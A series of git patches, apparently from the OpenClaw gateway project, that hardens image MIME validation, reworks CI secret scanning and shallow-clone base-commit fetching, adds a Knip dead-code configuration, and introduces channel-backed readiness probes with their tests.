).rejects.toThrow("Unsupported image MIME type: application/pdf"); + expect(release).toHaveBeenCalledTimes(1); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + }); }); describe("fetchWithGuard", () => { diff --git a/src/media/input-files.ts b/src/media/input-files.ts index b894c6d13b2..32c5998bbd9 100644 --- a/src/media/input-files.ts +++ b/src/media/input-files.ts @@ -235,11 +235,17 @@ async function normalizeInputImage(params: { limits: InputImageLimits; }): Promise { const declaredMime = normalizeMimeType(params.mimeType) ?? "application/octet-stream"; - const sourceMime = HEIC_INPUT_IMAGE_MIMES.has(declaredMime) - ? (normalizeMimeType( - await detectMime({ buffer: params.buffer, headerMime: params.mimeType }), - ) ?? declaredMime) - : declaredMime; + const detectedMime = normalizeMimeType( + await detectMime({ buffer: params.buffer, headerMime: params.mimeType }), + ); + if (declaredMime.startsWith("image/") && detectedMime && !detectedMime.startsWith("image/")) { + throw new Error(`Unsupported image MIME type: ${detectedMime}`); + } + const sourceMime = + (detectedMime && HEIC_INPUT_IMAGE_MIMES.has(detectedMime)) || + (HEIC_INPUT_IMAGE_MIMES.has(declaredMime) && !detectedMime) + ? (detectedMime ?? declaredMime) + : declaredMime; if (!params.limits.allowedMimes.has(sourceMime)) { throw new Error(`Unsupported image MIME type: ${sourceMime}`); } From ec3df0dd8fec86e56010d1b6fbfe618ef3d7bc57 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:34:36 -0500 Subject: [PATCH 050/844] CI: scope secret scans to changed files --- .github/workflows/ci.yml | 28 ++++++++++++++++++++++++---- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 199c6a8b1b5..a77dbeab49d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -303,13 +303,33 @@ jobs: - name: Install pre-commit run: | python -m pip install --upgrade pip - python -m pip install pre-commit detect-secrets==1.5.0 + python -m pip install pre-commit - name: Detect secrets run: | - if ! detect-secrets scan --baseline .secrets.baseline; then - echo "::error::Secret scanning failed. See docs/gateway/security.md#secret-scanning-detect-secrets" - exit 1 + set -euo pipefail + + if [ "${{ github.event_name }}" = "push" ]; then + BASE="${{ github.event.before }}" + else + BASE="${{ github.event.pull_request.base.sha }}" + fi + + changed_files=() + if git rev-parse --verify "$BASE^{commit}" >/dev/null 2>&1; then + while IFS= read -r path; do + [ -n "$path" ] || continue + [ -f "$path" ] || continue + changed_files+=("$path") + done < <(git diff --name-only --diff-filter=ACMR "$BASE" HEAD) + fi + + if [ "${#changed_files[@]}" -gt 0 ]; then + echo "Running detect-secrets on ${#changed_files[@]} changed file(s)." + pre-commit run detect-secrets --files "${changed_files[@]}" + else + echo "Falling back to full detect-secrets scan." + pre-commit run --all-files detect-secrets fi - name: Detect committed private keys From b529b7c6b7cd8096cc25e155f162b416f4277835 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:34:39 -0500 Subject: [PATCH 051/844] Docs: update secret scan reproduction steps --- docs/gateway/security/index.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index 4792b20c891..3f830823b51 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -1158,19 +1158,22 @@ If your AI does something bad: ## Secret Scanning (detect-secrets) -CI runs `detect-secrets scan --baseline .secrets.baseline` in the `secrets` job. -If it fails, there are new candidates not yet in the baseline. +CI runs the `detect-secrets` pre-commit hook in the `secrets` job. +It checks changed files when a base commit is available, and falls back to an +all-files scan otherwise. If it fails, there are new candidates not yet in the +baseline. ### If CI fails 1. Reproduce locally: ```bash - detect-secrets scan --baseline .secrets.baseline + pre-commit run --all-files detect-secrets ``` 2. Understand the tools: - - `detect-secrets scan` finds candidates and compares them to the baseline. + - `detect-secrets` in pre-commit runs `detect-secrets-hook` with the repo's + baseline and excludes. - `detect-secrets audit` opens an interactive review to mark each baseline item as real or false positive. 3. For real secrets: rotate/remove them, then re-run the scan to update the baseline. From 66112980aad31382e74a6ce02f3fe4cb318a0576 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:41:20 -0500 Subject: [PATCH 052/844] CI: keep full secret scans on main --- .github/workflows/ci.yml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a77dbeab49d..60f0e9b6cc2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -310,11 +310,12 @@ jobs: set -euo pipefail if [ "${{ github.event_name }}" = "push" ]; then - BASE="${{ github.event.before }}" - else - BASE="${{ github.event.pull_request.base.sha }}" + echo "Running full detect-secrets scan on push." + pre-commit run --all-files detect-secrets + exit 0 fi + BASE="${{ github.event.pull_request.base.sha }}" changed_files=() if git rev-parse --verify "$BASE^{commit}" >/dev/null 2>&1; then while IFS= read -r path; do From 042b2c867ddf66bb29412ceba8c62f2238ba4289 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:41:23 -0500 Subject: [PATCH 053/844] Docs: clarify main secret scan behavior --- docs/gateway/security/index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index 3f830823b51..c62b77352e8 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -1159,9 +1159,9 @@ If your AI does something bad: ## Secret Scanning (detect-secrets) CI runs the `detect-secrets` pre-commit hook in the `secrets` job. -It checks changed files when a base commit is available, and falls back to an -all-files scan otherwise. If it fails, there are new candidates not yet in the -baseline. +Pushes to `main` always run an all-files scan. Pull requests use a changed-file +fast path when a base commit is available, and fall back to an all-files scan +otherwise. If it fails, there are new candidates not yet in the baseline. ### If CI fails From e9919ead49d0cbfd2553e277486060dbf0d4010e Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:45:30 -0500 Subject: [PATCH 054/844] CI: add base-commit fetch helper --- .github/actions/ensure-base-commit/action.yml | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 .github/actions/ensure-base-commit/action.yml diff --git a/.github/actions/ensure-base-commit/action.yml b/.github/actions/ensure-base-commit/action.yml new file mode 100644 index 00000000000..b2c4322aa84 --- /dev/null +++ b/.github/actions/ensure-base-commit/action.yml @@ -0,0 +1,47 @@ +name: Ensure base commit +description: Ensure a shallow checkout has enough history to diff against a base SHA. +inputs: + base-sha: + description: Base commit SHA to diff against. + required: true + fetch-ref: + description: Branch or ref to deepen/fetch from origin when base-sha is missing. + required: true +runs: + using: composite + steps: + - name: Ensure base commit is available + shell: bash + env: + BASE_SHA: ${{ inputs.base-sha }} + FETCH_REF: ${{ inputs.fetch-ref }} + run: | + set -euo pipefail + + if [ -z "$BASE_SHA" ] || [[ "$BASE_SHA" =~ ^0+$ ]]; then + echo "No concrete base SHA available; skipping targeted fetch." + exit 0 + fi + + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Base commit already present: $BASE_SHA" + exit 0 + fi + + for deepen_by in 25 100 300; do + echo "Base commit missing; deepening $FETCH_REF by $deepen_by." + git fetch --no-tags --deepen="$deepen_by" origin "$FETCH_REF" || true + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Resolved base commit after deepening: $BASE_SHA" + exit 0 + fi + done + + echo "Base commit still missing; fetching full history for $FETCH_REF." + git fetch --no-tags origin "$FETCH_REF" || true + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Resolved base commit after full ref fetch: $BASE_SHA" + exit 0 + fi + + echo "Base commit still unavailable after fetch attempts: $BASE_SHA" From 9c464c274cd40114321ca74fe2ff03b3fca3fa67 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:45:34 -0500 Subject: [PATCH 055/844] CI: fetch base history on demand --- .github/workflows/ci.yml | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 60f0e9b6cc2..829a71f169d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,10 +21,16 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 50 + fetch-depth: 1 fetch-tags: false submodules: false + - name: Ensure docs-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} + - name: Detect docs-only changes id: check uses: ./.github/actions/detect-docs-changes @@ -46,10 +52,16 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 50 + fetch-depth: 1 fetch-tags: false submodules: false + - name: Ensure changed-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} + - name: Detect changed scopes id: scope shell: bash @@ -75,6 +87,13 @@ jobs: with: submodules: false + - name: Ensure secrets base commit (PR fast path) + if: github.event_name == 'pull_request' + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event.pull_request.base.ref }} + - name: Setup Node environment uses: ./.github/actions/setup-node-env with: From 82eebc905d7e8530190e7b48f147e3c71c33195a Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:45:37 -0500 Subject: [PATCH 056/844] Install Smoke: fetch docs base on demand --- .github/workflows/install-smoke.yml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 9dc5d1fb460..36f64d2d6ad 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -19,9 +19,15 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 50 + fetch-depth: 1 fetch-tags: false + - name: Ensure docs-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} + - name: Detect docs-only changes id: check uses: ./.github/actions/detect-docs-changes From 9c55299a82830401edf57e45b43562b5d8dacfa7 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 15:00:46 -0500 Subject: [PATCH 057/844] CI: skip detect-secrets on main temporarily --- .github/workflows/ci.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 829a71f169d..817f4b94d00 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -328,6 +328,11 @@ jobs: run: | set -euo pipefail + if [ "${{ github.ref }}" = "refs/heads/main" ]; then + echo "Skipping detect-secrets on main until the allowlist cleanup lands." + exit 0 + fi + if [ "${{ github.event_name }}" = "push" ]; then echo "Running full detect-secrets scan on push." pre-commit run --all-files detect-secrets From 768736dc1971648a565639810de8ae616ba2ffdd Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 15:14:52 -0500 Subject: [PATCH 058/844] Tooling: add Knip workspace config --- knip.config.ts | 105 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 knip.config.ts diff --git a/knip.config.ts b/knip.config.ts new file mode 100644 index 00000000000..e4daabd7e95 --- /dev/null +++ b/knip.config.ts @@ -0,0 +1,105 @@ +const rootEntries = [ + "openclaw.mjs!", + "src/index.ts!", + "src/entry.ts!", + "src/cli/daemon-cli.ts!", + "src/extensionAPI.ts!", + "src/infra/warning-filter.ts!", + "src/channels/plugins/agent-tools/whatsapp-login.ts!", + "src/channels/plugins/actions/discord.ts!", + "src/channels/plugins/actions/signal.ts!", + "src/channels/plugins/actions/telegram.ts!", + "src/telegram/audit.ts!", + "src/telegram/token.ts!", + "src/line/accounts.ts!", + "src/line/send.ts!", + "src/line/template-messages.ts!", + "src/hooks/bundled/*/handler.ts!", + "src/hooks/llm-slug-generator.ts!", + "src/plugin-sdk/*.ts!", +] as const; + +const config = { + ignoreFiles: [ + "scripts/**", + "**/__tests__/**", + "src/test-utils/**", + "**/test-helpers/**", + "**/test-fixtures/**", + "**/live-*.ts", + "**/test-*.ts", + "**/*test-helpers.ts", + "**/*test-fixtures.ts", + "**/*test-harness.ts", + "**/*test-utils.ts", + "**/*mocks.ts", + "**/*.e2e-mocks.ts", + "**/*.e2e-*.ts", + "**/*.harness.ts", + "**/*.job-fixtures.ts", + "**/*.mock-harness.ts", + "**/*.suite-helpers.ts", + "**/*.test-setup.ts", + "**/job-fixtures.ts", + "**/*test-mocks.ts", + "**/*test-runtime*.ts", + "**/*.mock-setup.ts", + "**/*.cases.ts", + "**/*.e2e-harness.ts", + "**/*.fixture.ts", + "**/*.fixtures.ts", + "**/*.mocks.ts", + "**/*.mocks.shared.ts", + "**/*.shared-test.ts", + "**/*.suite.ts", + "**/*.test-runtime.ts", + "**/*.testkit.ts", + "**/*.test-fixtures.ts", + "**/*.test-harness.ts", + "**/*.test-helper.ts", + "**/*.test-helpers.ts", + "**/*.test-mocks.ts", + "**/*.test-utils.ts", + "src/gateway/live-image-probe.ts", + "src/secrets/credential-matrix.ts", + "src/agents/claude-cli-runner.ts", + "src/agents/pi-auth-json.ts", + "src/agents/tool-policy.conformance.ts", + "src/auto-reply/reply/audio-tags.ts", + "src/gateway/live-tool-probe-utils.ts", + "src/gateway/server.auth.shared.ts", + "src/shared/text/assistant-visible-text.ts", + "src/telegram/bot/reply-threading.ts", + "src/telegram/draft-chunking.ts", + "extensions/msteams/src/conversation-store-memory.ts", + "extensions/msteams/src/polls-store-memory.ts", + "extensions/voice-call/src/providers/index.ts", + "extensions/voice-call/src/providers/tts-openai.ts", + ], + workspaces: { + ".": { + entry: rootEntries, + project: [ + "src/**/*.ts!", + "scripts/**/*.{js,mjs,cjs,ts,mts,cts}!", + "*.config.{js,mjs,cjs,ts,mts,cts}!", + "*.mjs!", + ], + }, + ui: { + entry: ["index.html!", "src/main.ts!", "vite.config.ts!", "vitest*.ts!"], + project: ["src/**/*.{ts,tsx}!"], + }, + "packages/*": { + entry: ["index.js!", "scripts/postinstall.js!"], + project: ["index.js!", "scripts/**/*.js!"], + }, + "extensions/*": { + entry: ["index.ts!"], + project: ["index.ts!", "src/**/*.ts!"], + ignoreDependencies: ["openclaw"], + }, + }, +} as const; + +export default config; From b70d3c4af3804ddf39d5dedc60bbcf973140db27 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 15:14:59 -0500 Subject: [PATCH 059/844] Tooling: wire deadcode scripts to Knip --- package.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/package.json b/package.json index a7b5e189dbc..8a8ea416427 100644 --- a/package.json +++ b/package.json @@ -231,8 +231,8 @@ "check:docs": "pnpm format:docs:check && pnpm lint:docs && pnpm docs:check-links", "check:host-env-policy:swift": "node scripts/generate-host-env-security-policy-swift.mjs --check", "check:loc": "node --import tsx scripts/check-ts-max-loc.ts --max 500", - "deadcode:ci": "pnpm deadcode:report:ci:knip && pnpm deadcode:report:ci:ts-prune && pnpm deadcode:report:ci:ts-unused", - "deadcode:knip": "pnpm dlx knip --no-progress", + "deadcode:ci": "pnpm deadcode:report:ci:knip", + "deadcode:knip": "pnpm dlx knip --config knip.config.ts --isolate-workspaces --production --no-progress --reporter compact --files --dependencies", "deadcode:report": "pnpm deadcode:knip; pnpm deadcode:ts-prune; pnpm deadcode:ts-unused", "deadcode:report:ci:knip": "mkdir -p .artifacts/deadcode && pnpm deadcode:knip > .artifacts/deadcode/knip.txt 2>&1 || true", "deadcode:report:ci:ts-prune": "mkdir -p .artifacts/deadcode && pnpm deadcode:ts-prune > .artifacts/deadcode/ts-prune.txt 2>&1 || true", From b17baca871dd0dbdd00fb0b7fb35652855984e50 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 15:15:06 -0500 Subject: [PATCH 060/844] CI: enable report-only Knip deadcode job --- .github/workflows/ci.yml | 24 ++++++------------------ 1 file changed, 6 insertions(+), 18 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 817f4b94d00..0e3c21e9119 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -213,25 +213,13 @@ jobs: - name: Enforce safe external URL opening policy run: pnpm lint:ui:no-raw-window-open - # Report-only dead-code scans. Runs after scope detection and stores machine-readable - # results as artifacts for later triage before we enable hard gates. - # Temporarily disabled in CI while we process initial findings. + # Report-only dead-code scan. Runs after scope detection and stores the Knip + # report as an artifact so we can triage findings before enabling hard gates. deadcode: name: dead-code report needs: [docs-scope, changed-scope] - # if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') - if: false + if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') runs-on: blacksmith-16vcpu-ubuntu-2404 - strategy: - fail-fast: false - matrix: - include: - - tool: knip - command: pnpm deadcode:report:ci:knip - - tool: ts-prune - command: pnpm deadcode:report:ci:ts-prune - - tool: ts-unused-exports - command: pnpm deadcode:report:ci:ts-unused steps: - name: Checkout uses: actions/checkout@v4 @@ -244,13 +232,13 @@ jobs: install-bun: "false" use-sticky-disk: "true" - - name: Run ${{ matrix.tool }} dead-code scan - run: ${{ matrix.command }} + - name: Run Knip dead-code scan + run: pnpm deadcode:report:ci:knip - name: Upload dead-code results uses: actions/upload-artifact@v4 with: - name: dead-code-${{ matrix.tool }}-${{ github.run_id }} + name: dead-code-knip-${{ github.run_id }} path: .artifacts/deadcode # Validate docs (format, lint, broken links) only when docs files changed. From ab5fcfcc01281f1f6cd6e8f43f7c302c12806feb Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 15:15:23 -0500 Subject: [PATCH 061/844] feat(gateway): add channel-backed readiness probes (#38285) * Changelog: add channel-backed readiness probe entry * Gateway: add channel-backed readiness probes * Docs: describe readiness probe behavior * Gateway: add readiness probe regression tests * Changelog: dedupe gateway probe entries * Docs: fix readiness startup grace description * Changelog: remove stale readiness entry * Gateway: cover readiness hardening * Gateway: harden readiness probes --- CHANGELOG.md | 2 +- docs/install/docker.md | 4 + src/channels/plugins/types.core.ts | 1 + src/gateway/channel-health-monitor.ts | 7 +- src/gateway/channel-health-policy.ts | 5 + src/gateway/server-channels.ts | 11 ++ src/gateway/server-http.probe.test.ts | 155 ++++++++++++++++++ src/gateway/server-http.test-harness.ts | 6 + src/gateway/server-http.ts | 84 ++++++++-- src/gateway/server-runtime-state.ts | 3 + src/gateway/server.impl.ts | 19 ++- src/gateway/server/readiness.test.ts | 202 ++++++++++++++++++++++++ src/gateway/server/readiness.ts | 79 +++++++++ 13 files changed, 558 insertions(+), 20 deletions(-) create mode 100644 src/gateway/server-http.probe.test.ts create mode 100644 src/gateway/server/readiness.test.ts create mode 100644 src/gateway/server/readiness.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 9b8cb0cde4b..99c04190526 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -207,7 +207,7 @@ Docs: https://docs.openclaw.ai - WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. - Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. - Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. -- Gateway/probe route precedence: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, so root-mounted SPA fallbacks no longer swallow machine probe routes while plugin-owned routes on those paths still keep precedence. (#18446) Thanks @vibecodooor and @vincentkoc. +- Gateway/probes: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, preserve plugin-owned route precedence on those paths, and make `/ready` and `/readyz` report channel-backed readiness with startup grace plus `503` on disconnected managed channels, while `/health` and `/healthz` stay shallow liveness probes. (#18446) Thanks @vibecodooor, @mahsumaktas, and @vincentkoc. ## 2026.3.2 diff --git a/docs/install/docker.md b/docs/install/docker.md index 8cbf2555e87..1dd0d2325d1 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -476,6 +476,10 @@ curl -fsS http://127.0.0.1:18789/readyz Aliases: `/health` and `/ready`. +`/healthz` is a shallow liveness probe for "the gateway process is up". +`/readyz` stays ready during startup grace, then becomes `503` only if required +managed channels are still disconnected after grace or disconnect later. + The Docker image includes a built-in `HEALTHCHECK` that pings `/healthz` in the background. In plain terms: Docker keeps checking if OpenClaw is still responsive. If checks keep failing, Docker marks the container as `unhealthy`, diff --git a/src/channels/plugins/types.core.ts b/src/channels/plugins/types.core.ts index 6cd5173e13b..22f8e458e79 100644 --- a/src/channels/plugins/types.core.ts +++ b/src/channels/plugins/types.core.ts @@ -102,6 +102,7 @@ export type ChannelAccountSnapshot = { linked?: boolean; running?: boolean; connected?: boolean; + restartPending?: boolean; reconnectAttempts?: number; lastConnectedAt?: number | null; lastDisconnect?: diff --git a/src/gateway/channel-health-monitor.ts b/src/gateway/channel-health-monitor.ts index e66bc4912af..4ed422468f0 100644 --- a/src/gateway/channel-health-monitor.ts +++ b/src/gateway/channel-health-monitor.ts @@ -1,6 +1,8 @@ import type { ChannelId } from "../channels/plugins/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { + DEFAULT_CHANNEL_CONNECT_GRACE_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, evaluateChannelHealth, resolveChannelRestartReason, type ChannelHealthPolicy, @@ -21,9 +23,6 @@ const ONE_HOUR_MS = 60 * 60_000; * This catches the half-dead WebSocket scenario where the connection appears * alive (health checks pass) but Slack silently stops delivering events. */ -const DEFAULT_STALE_EVENT_THRESHOLD_MS = 30 * 60_000; -const DEFAULT_CHANNEL_CONNECT_GRACE_MS = 120_000; - export type ChannelHealthTimingPolicy = { monitorStartupGraceMs: number; channelConnectGraceMs: number; @@ -70,7 +69,7 @@ function resolveTimingPolicy( staleEventThresholdMs: deps.timing?.staleEventThresholdMs ?? deps.staleEventThresholdMs ?? - DEFAULT_STALE_EVENT_THRESHOLD_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, }; } diff --git a/src/gateway/channel-health-policy.ts b/src/gateway/channel-health-policy.ts index 31938a90471..d0616f04862 100644 --- a/src/gateway/channel-health-policy.ts +++ b/src/gateway/channel-health-policy.ts @@ -3,6 +3,7 @@ export type ChannelHealthSnapshot = { connected?: boolean; enabled?: boolean; configured?: boolean; + restartPending?: boolean; busy?: boolean; activeRuns?: number; lastRunActivityAt?: number | null; @@ -39,6 +40,10 @@ function isManagedAccount(snapshot: ChannelHealthSnapshot): boolean { } const BUSY_ACTIVITY_STALE_THRESHOLD_MS = 25 * 60_000; +// Keep these shared between the background health monitor and on-demand readiness +// probes so both surfaces evaluate channel lifecycle windows consistently. +export const DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS = 30 * 60_000; +export const DEFAULT_CHANNEL_CONNECT_GRACE_MS = 120_000; export function evaluateChannelHealth( snapshot: ChannelHealthSnapshot, diff --git a/src/gateway/server-channels.ts b/src/gateway/server-channels.ts index 6c291541369..4090791d285 100644 --- a/src/gateway/server-channels.ts +++ b/src/gateway/server-channels.ts @@ -180,6 +180,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: false, configured: true, running: false, + restartPending: false, lastError: plugin.config.disabledReason?.(account, cfg) ?? "disabled", }); return; @@ -195,6 +196,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: true, configured: false, running: false, + restartPending: false, lastError: plugin.config.unconfiguredReason?.(account, cfg) ?? "not configured", }); return; @@ -215,6 +217,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: true, configured: true, running: true, + restartPending: false, lastStartAt: Date.now(), lastError: null, reconnectAttempts: preserveRestartAttempts ? (restartAttempts.get(rKey) ?? 0) : 0, @@ -252,6 +255,11 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage const attempt = (restartAttempts.get(rKey) ?? 0) + 1; restartAttempts.set(rKey, attempt); if (attempt > MAX_RESTART_ATTEMPTS) { + setRuntime(channelId, id, { + accountId: id, + restartPending: false, + reconnectAttempts: attempt, + }); log.error?.(`[${id}] giving up after ${MAX_RESTART_ATTEMPTS} restart attempts`); return; } @@ -261,6 +269,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage ); setRuntime(channelId, id, { accountId: id, + restartPending: true, reconnectAttempts: attempt, }); try { @@ -349,6 +358,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage setRuntime(channelId, id, { accountId: id, running: false, + restartPending: false, lastStopAt: Date.now(), }); }), @@ -377,6 +387,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage const next: ChannelAccountSnapshot = { accountId: resolvedId, running: false, + restartPending: false, lastError: cleared ? "logged out" : current.lastError, }; if (typeof current.connected === "boolean") { diff --git a/src/gateway/server-http.probe.test.ts b/src/gateway/server-http.probe.test.ts new file mode 100644 index 00000000000..0e55ddeba32 --- /dev/null +++ b/src/gateway/server-http.probe.test.ts @@ -0,0 +1,155 @@ +import { describe, expect, it } from "vitest"; +import { + AUTH_TOKEN, + AUTH_NONE, + createRequest, + createResponse, + dispatchRequest, + withGatewayServer, +} from "./server-http.test-harness.js"; +import type { ReadinessChecker } from "./server/readiness.js"; + +describe("gateway probe endpoints", () => { + it("returns detailed readiness payload for local /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: true, + failing: [], + uptimeMs: 45_000, + }); + + await withGatewayServer({ + prefix: "probe-ready", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/ready" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(200); + expect(JSON.parse(getBody())).toEqual({ ready: true, failing: [], uptimeMs: 45_000 }); + }, + }); + }); + + it("returns only readiness state for unauthenticated remote /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + + await withGatewayServer({ + prefix: "probe-not-ready", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ + path: "/ready", + remoteAddress: "10.0.0.8", + host: "gateway.test", + }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ ready: false }); + }, + }); + }); + + it("returns detailed readiness payload for authenticated remote /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + + await withGatewayServer({ + prefix: "probe-remote-authenticated", + resolvedAuth: AUTH_TOKEN, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ + path: "/ready", + remoteAddress: "10.0.0.8", + host: "gateway.test", + authorization: "Bearer test-token", + }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + }, + }); + }); + + it("returns typed internal error payload when readiness evaluation throws", async () => { + const getReadiness: ReadinessChecker = () => { + throw new Error("boom"); + }; + + await withGatewayServer({ + prefix: "probe-throws", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/ready" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ ready: false, failing: ["internal"], uptimeMs: 0 }); + }, + }); + }); + + it("keeps /healthz shallow even when readiness checker reports failing channels", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord"], + uptimeMs: 999, + }); + + await withGatewayServer({ + prefix: "probe-healthz-unaffected", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/healthz" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(200); + expect(getBody()).toBe(JSON.stringify({ ok: true, status: "live" })); + }, + }); + }); + + it("reflects readiness status on HEAD /readyz without a response body", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord"], + uptimeMs: 5_000, + }); + + await withGatewayServer({ + prefix: "probe-readyz-head", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/readyz", method: "HEAD" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(getBody()).toBe(""); + }, + }); + }); +}); diff --git a/src/gateway/server-http.test-harness.ts 